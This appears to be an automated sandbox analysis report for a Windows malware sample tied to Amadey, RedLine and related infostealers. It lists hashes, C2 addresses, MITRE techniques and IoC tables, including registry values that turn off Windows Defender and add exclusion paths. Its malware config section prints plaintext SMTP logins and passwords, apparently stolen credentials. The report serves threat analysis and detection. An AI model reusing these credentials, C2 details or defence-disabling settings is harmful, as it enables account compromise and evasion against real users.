amadey | 022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466

Analysis

max time kernel
299s
max time network
300s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20-06-2024 22:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
Size

1.8MB
MD5

53280503a04c035e6ba9164bb99009db
SHA1

da55dba7cc2132b2316e4b0667c7767d3730d858
SHA256

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466
SHA512

2ea1d54f414f80eb31654000b830a5255b392f164e7d90fa5fde11c944bf8117e84559628c2c3d7a291566af3a037465c2d8d77199713b8d5e018962fc7b8559
SSDEEP

49152:6zklgf2ET665Bqd97jryccdZw8PzVuDYyDimqYb:qHhT665Ad970di8cDi

Score

10^/10

amadey monster redline risepro 0e6740 e76b71 newbild discovery evasion execution infostealer persistence pyinstaller spyware stealer themida trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
smtp.qit.ne.jp
Port:
587
Username:
[email protected]
Password:
manymany

Extracted

Credentials

Protocol: smtp
Host:
smtp.nuovarele.it
Port:
587
Username:
[email protected]
Password:
Vv891971

Extracted

Credentials

Protocol: smtp
Host:
smtp.ak.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
gundam

Extracted

Credentials

Protocol: smtp
Host:
smtp.ar.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
itty081101

Extracted

Credentials

Protocol: smtp
Host:
mail.wavesmail.xyz
Port:
587
Username:
[email protected]
Password:
LcQb0UKvG5ZpdOhwlzO.2

Extracted

Credentials

Protocol: smtp
Host:
smtp.ah.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
jz5w4gbd

Extracted

Credentials

Protocol: smtp
Host:
smtp.ae.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
ns9000

Extracted

Credentials

Protocol: smtp
Host:
smtp.jj.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
t2uma8wn

Extracted

Credentials

Protocol: smtp
Host:
smtp.ce.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
takako0725

Extracted

Credentials

Protocol: smtp
Host:
mail.wavesmail.xyz
Port:
587
Username:
[email protected]
Password:
FaRFAqQpyd9BbQr8SKt.7

Extracted

Credentials

Protocol: smtp
Host:
smtp.ss.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
syunyou1217

Extracted

Credentials

Protocol: smtp
Host:
smtp.frontier.com
Port:
587
Username:
[email protected]
Password:
S12n18m00!@

Extracted

Credentials

Protocol: smtp
Host:
mail.number1cleaningservices.com
Port:
587
Username:
[email protected]
Password:
MeawMeaw2499

Extracted

Credentials

Protocol: smtp
Host:
smtp.af.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
ozawa0623

Extracted

Credentials

Protocol: smtp
Host:
smtp.stdm.net
Port:
587
Username:
[email protected]
Password:
42Quarantadue!

Extracted

Credentials

Protocol: smtp
Host:
smtp.varat.net
Port:
587
Username:
[email protected]
Password:
saracena

Extracted

Credentials

Protocol: smtp
Host:
smtp.nifty.ne.jp
Port:
587
Username:
[email protected]
Password:
REMI2525

Extracted

Credentials

Protocol: smtp
Host:
smtp.ac.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
password

Extracted

Credentials

Protocol: smtp
Host:
mail.cv-net.jp
Port:
587
Username:
[email protected]
Password:
hd883ss

Extracted

Family

amadey

Version

4.21

Botnet

0e6740

http://147.45.47.155

Attributes

install_dir
9217037dc9
install_file
explortu.exe
strings_key
8e894a8a4a3d0da8924003a561cfb244
url_paths
/ku4Nor9/index.php

rc4.plain

Extracted

Family

amadey

Version

8254624243

Botnet

e76b71

http://77.91.77.81

Attributes

install_dir
8254624243
install_file
axplong.exe
strings_key
90049e51fabf09df0d6748e0b271922e
url_paths
/Kiru9gu/index.php

rc4.plain

Extracted

Family

redline

Botnet

newbild

185.215.113.67:40960

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detects Monster Stealer. 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\onefile_2168_133633962551294000\stub.exe	family_monster
behavioral1/memory/2272-293-0x000000013F670000-0x00000001408A5000-memory.dmp	family_monster

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Monster
Monster is a Golang stealer that was discovered in 2024.
stealer monster
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
RedLine payload 2 IoCs

Processes:

resource yara_rule

C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe family_redline
behavioral1/memory/816-284-0x0000000000240000-0x0000000000290000-memory.dmp family_redline
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe	family_redline
behavioral1/memory/816-284-0x0000000000240000-0x0000000000290000-memory.dmp	family_redline

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QVWjqfQytQiLC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QVWjqfQytQiLC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yPeEHKRKYSIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dSFCGoajU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yPeEHKRKYSIU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\LIlQlxhqsAqlQuVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XPXpeEiKDyUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dSFCGoajU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\LIlQlxhqsAqlQuVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XPXpeEiKDyUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exeexplortu.exeexplortu.exec806278209.exeaxplong.exe6fff6f14a4.exeb7d640390d.exeda_protected.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c806278209.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	6fff6f14a4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b7d640390d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	da_protected.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

187 3304 rundll32.exe

flow	pid	process
187	3304	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 20 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.EXEpowershell.EXEpowershell.EXEpowershell.exe

pid	process
3872	powershell.exe
1820	powershell.exe
4480	powershell.exe
2036	powershell.exe
1804	powershell.exe
2960	powershell.exe
576	powershell.exe
2952	powershell.exe
1704	powershell.exe
4408	powershell.exe
2776	powershell.EXE
4056	powershell.exe
3112	powershell.exe
4292	powershell.exe
2652	powershell.EXE
3872	powershell.exe
4772	powershell.EXE
2236	powershell.EXE
2716	powershell.EXE
3288	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 19 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

axplong.exe6fff6f14a4.exeb7d640390d.exeda_protected.exeexplortu.exeexplortu.exeInstall.exe022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exec806278209.exeInstall.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6fff6f14a4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b7d640390d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	da_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c806278209.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	da_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c806278209.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6fff6f14a4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b7d640390d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

tlxKVRf.exeLtRBcxp.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Control Panel\International\Geo\Nation	tlxKVRf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Control Panel\International\Geo\Nation	LtRBcxp.exe

Executes dropped EXE 51 IoCs

Processes:

explortu.exeexplortu.exec806278209.exeaxplong.exe6fff6f14a4.exeb7d640390d.exejudit.exestub.exeredline123123.exeupd.exedeep.exeda_protected.exegold.exelummac2.exedrivermanager.exeNewLatest.exeHkbsse.exeb2c2c1.exemonster.exestub.exelegs.exeDctooux.exesetup.exeInstall.exeInstall.exeFirstZ.exequickaccesspopup.exesetup.exechromedriver.exeInstall.exewjgbfp.exeInstall.exesetup.exesetup.exespain.exespain.exereakuqnanrkn.exechromedriver.exebfkwpn.exeXFNPoyW.exebfkwpn.exesetup.exesetup.exebfkwpn.exeXFNPoyW.exetlxKVRf.exebfkwpn.exeLtRBcxp.exebfkwpn.exe

pid	process
2624	explortu.exe
1808	explortu.exe
500	c806278209.exe
544	axplong.exe
1816	6fff6f14a4.exe
2952	b7d640390d.exe
2168	judit.exe
2272	stub.exe
816	redline123123.exe
1780	upd.exe
2580	deep.exe
1920	da_protected.exe
3168	gold.exe
3272	lummac2.exe
3524	drivermanager.exe
4024	NewLatest.exe
2060	Hkbsse.exe
3228	b2c2c1.exe
3592	monster.exe
3872	stub.exe
3560	legs.exe
1512	Dctooux.exe
2820	setup.exe
2748	Install.exe
4036	Install.exe
2168	FirstZ.exe
2492	quickaccesspopup.exe
2664	setup.exe
1196	chromedriver.exe
2600	Install.exe
3384	wjgbfp.exe
3084	Install.exe
2808	setup.exe
3708	setup.exe
1204
688	spain.exe
3372	spain.exe
480
768	reakuqnanrkn.exe
3572	chromedriver.exe
488	bfkwpn.exe
4228	XFNPoyW.exe
3000	bfkwpn.exe
5072	setup.exe
2948	setup.exe
3624	bfkwpn.exe
1532	XFNPoyW.exe
4644	tlxKVRf.exe
4704	bfkwpn.exe
592	LtRBcxp.exe
3676	bfkwpn.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

6fff6f14a4.exeb7d640390d.exe022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exeexplortu.exeexplortu.exec806278209.exeaxplong.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine	6fff6f14a4.exe
Key opened	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine	b7d640390d.exe
Key opened	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
Key opened	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine	c806278209.exe
Key opened	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine	axplong.exe

Loads dropped DLL 64 IoCs

Processes:

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exeexplortu.exec806278209.exeaxplong.exejudit.exestub.exeWerFault.exedeep.exeWerFault.exeNewLatest.exeHkbsse.exemonster.exestub.exeWerFault.exeb2c2c1.exesetup.exeInstall.exeInstall.exesetup.exeInstall.exe

pid	process
1196	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
2624	explortu.exe
2624	explortu.exe
500	c806278209.exe
2624	explortu.exe
2624	explortu.exe
544	axplong.exe
2168	judit.exe
2272	stub.exe
544	axplong.exe
544	axplong.exe
544	axplong.exe
1956	WerFault.exe
1956	WerFault.exe
1956	WerFault.exe
544	axplong.exe
2580	deep.exe
2580	deep.exe
2580	deep.exe
2580	deep.exe
544	axplong.exe
3208	WerFault.exe
3208	WerFault.exe
544	axplong.exe
544	axplong.exe
3208	WerFault.exe
544	axplong.exe
544	axplong.exe
4024	NewLatest.exe
2060	Hkbsse.exe
2060	Hkbsse.exe
544	axplong.exe
3592	monster.exe
3872	stub.exe
544	axplong.exe
3524	WerFault.exe
3524	WerFault.exe
3524	WerFault.exe
3228	b2c2c1.exe
3228	b2c2c1.exe
2060	Hkbsse.exe
2820	setup.exe
2820	setup.exe
2820	setup.exe
2820	setup.exe
2748	Install.exe
2748	Install.exe
2748	Install.exe
2748	Install.exe
4036	Install.exe
4036	Install.exe
4036	Install.exe
2060	Hkbsse.exe
2060	Hkbsse.exe
544	axplong.exe
2060	Hkbsse.exe
2664	setup.exe
2664	setup.exe
2664	setup.exe
544	axplong.exe
2664	setup.exe
2600	Install.exe
2600	Install.exe
2600	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\da_protected.exe	themida
behavioral1/memory/1920-588-0x0000000000840000-0x0000000001198000-memory.dmp	themida
behavioral1/memory/1920-587-0x0000000000840000-0x0000000001198000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

explortu.exechromedriver.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\6fff6f14a4.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000016001\\6fff6f14a4.exe"	explortu.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChromeDriver = "C:\\Users\\Admin\\AppData\\Roaming\\ChromeDriver.exe"	chromedriver.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

da_protected.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA da_protected.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	da_protected.exe

Drops Chrome extension 3 IoCs

Processes:

LtRBcxp.exetlxKVRf.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	LtRBcxp.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	tlxKVRf.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	tlxKVRf.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

74 pastebin.com
75 pastebin.com
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

1012 powercfg.exe
4044 powercfg.exe
3732 powercfg.exe
3188 powercfg.exe
3828 powercfg.exe
3832 powercfg.exe
3488 powercfg.exe
3196 powercfg.exe

flow	ioc
74	pastebin.com
75	pastebin.com

pid	process
1012	powercfg.exe
4044	powercfg.exe
3732	powercfg.exe
3188	powercfg.exe
3828	powercfg.exe
3832	powercfg.exe
3488	powercfg.exe
3196	powercfg.exe

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
behavioral1/memory/2952-333-0x0000000000BF0000-0x000000000115A000-memory.dmp	autoit_exe
behavioral1/memory/2952-354-0x0000000000BF0000-0x000000000115A000-memory.dmp	autoit_exe
behavioral1/memory/2952-561-0x0000000000BF0000-0x000000000115A000-memory.dmp	autoit_exe

Drops file in System32 directory 43 IoCs

Processes:

powershell.exeXFNPoyW.exetlxKVRf.exepowershell.exepowershell.exepowershell.exeXFNPoyW.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exerundll32.exepowershell.exeFirstZ.exepowershell.EXELtRBcxp.exepowershell.exereakuqnanrkn.exepowershell.EXEpowershell.exepowershell.exe

description	ioc	process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XFNPoyW.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	tlxKVRf.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_9FBE97E00625C0963C1CF751F29CF9B3	tlxKVRf.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	tlxKVRf.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_4780F988327458A7DCEC4A36CEB1E168	tlxKVRf.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XFNPoyW.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XFNPoyW.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	tlxKVRf.exe
